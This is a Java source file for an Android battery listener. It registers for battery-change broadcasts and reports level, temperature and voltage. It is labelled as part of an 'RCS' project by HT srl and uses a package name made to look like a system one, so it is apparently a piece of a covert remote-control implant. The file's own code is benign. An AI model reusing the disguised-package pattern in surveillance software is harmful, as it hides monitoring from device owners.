/* ******************************************* * Copyright (c) 2011 * HT srl, All rights reserved. * Project : RCS, AndroidService * File : ListenerBattery.java * Created : 6-mag-2011 * Author : zeno * *******************************************/ package com.android.dvci.listener; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.IntentFilter; import android.os.BatteryManager; import com.android.dvci.Battery; import com.android.dvci.Status; import com.android.dvci.auto.Cfg; import com.android.dvci.util.Check; public class ListenerBattery extends Listener<Battery> { /** The Constant TAG. */ private static final String TAG = "ListenerBattery"; //$NON-NLS-1$ private BroadcastReceiver batteryReceiver; /** The singleton. */ private volatile static ListenerBattery singleton; /** * Self. * * @return the status */ public static ListenerBattery self() { if (singleton == null) { synchronized (ListenerBattery.class) { if (singleton == null) { singleton = new ListenerBattery(); } } } return singleton; } @Override protected void start() { batteryReceiver = new BroadcastReceiver() { int scale = -1; int level = -1; int voltage = -1; int temp = -1; @Override public void onReceive(final Context context, final Intent intent) { level = intent.getIntExtra(BatteryManager.EXTRA_LEVEL, -1); scale = intent.getIntExtra(BatteryManager.EXTRA_SCALE, -1); temp = intent.getIntExtra(BatteryManager.EXTRA_TEMPERATURE, -1); voltage = intent.getIntExtra(BatteryManager.EXTRA_VOLTAGE, -1); if (Cfg.DEBUG) { Check.log(TAG + " BatteryManager level is " + level + "/" + scale + ", temp is " + temp //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + ", voltage is " + voltage); //$NON-NLS-1$ } // Call batteryMonitor() in Status ever time we have a change of // status dispatch(new Battery(level, scale, temp, voltage)); } }; final IntentFilter filter = new IntentFilter(Intent.ACTION_BATTERY_CHANGED); // Register the broadcastreceiver and filter it to only get battery // status changes Status.getAppContext().registerReceiver(batteryReceiver, filter); } @Override protected void stop() { Status.getAppContext().unregisterReceiver(batteryReceiver); } }